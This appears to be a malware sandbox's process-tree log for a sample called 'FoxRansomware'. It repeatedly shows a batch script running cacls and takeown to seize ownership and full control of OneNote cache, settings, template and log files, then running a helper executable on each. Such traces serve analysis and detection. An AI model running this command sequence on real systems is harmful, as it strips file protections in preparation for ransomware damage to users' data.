C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B1.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B1.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B1.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "000000B1.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "000000B1.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "settings.dat" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "settings.dat" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\Settings\settings.dat""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\Settings\settings.dat" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\Settings\settings.dat"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "settings.dat" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "settings.dat" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000009.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000009.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000009.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000009.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000009.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000N.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000N.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000N.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000000N.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000000N.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000011.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000011.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000011.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000011.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000011.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006D.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006D.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006D.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000006D.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000006D.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006N.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006N.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006N.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000006N.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000006N.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "device.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "device.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\it-IT\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\it-IT\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\it-IT\resource.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "tasks.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "tasks.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftInternetExplorer2013.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftInternetExplorer2013.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftOffice2013Office365Win32.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftOffice2013Office365Win32.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftOutlook2016CAWin32.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftOutlook2016CAWin32.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "SettingsLocationTemplate.xsd" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "SettingsLocationTemplate.xsd" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007V.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007V.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007V.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000007V.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000007V.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000089.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000089.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000089.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000089.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000089.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\All Users\USOShared\Logs\System\NotificationUxBroker.f56dfeca-18d0-4e02-b9f9-e296868f1e13.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\USOShared\Logs\System\NotificationUxBroker.f56dfeca-18d0-4e02-b9f9-e296868f1e13.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\USOShared\Logs\System\NotificationUxBroker.f56dfeca-18d0-4e02-b9f9-e296868f1e13.1.etl"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "NotificationUxBroker.f56dfeca-18d0-4e02-b9f9-e296868f1e13.1.etl" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "NotificationUxBroker.f56dfeca-18d0-4e02-b9f9-e296868f1e13.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009B.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009B.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009B.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000009B.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000009B.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009L.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009L.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009L.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000009L.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000009L.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A6.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A6.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A6.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "000000A6.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "000000A6.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AH.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AH.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AH.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "000000AH.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "000000AH.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B7.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B7.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B7.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "000000B7.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "000000B7.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000007.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000007.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000007.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000007.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000007.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000L.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000L.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000L.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000000L.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000000L.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000V.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000V.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000V.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000000V.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000000V.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006L.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006L.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006L.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000006L.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000006L.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
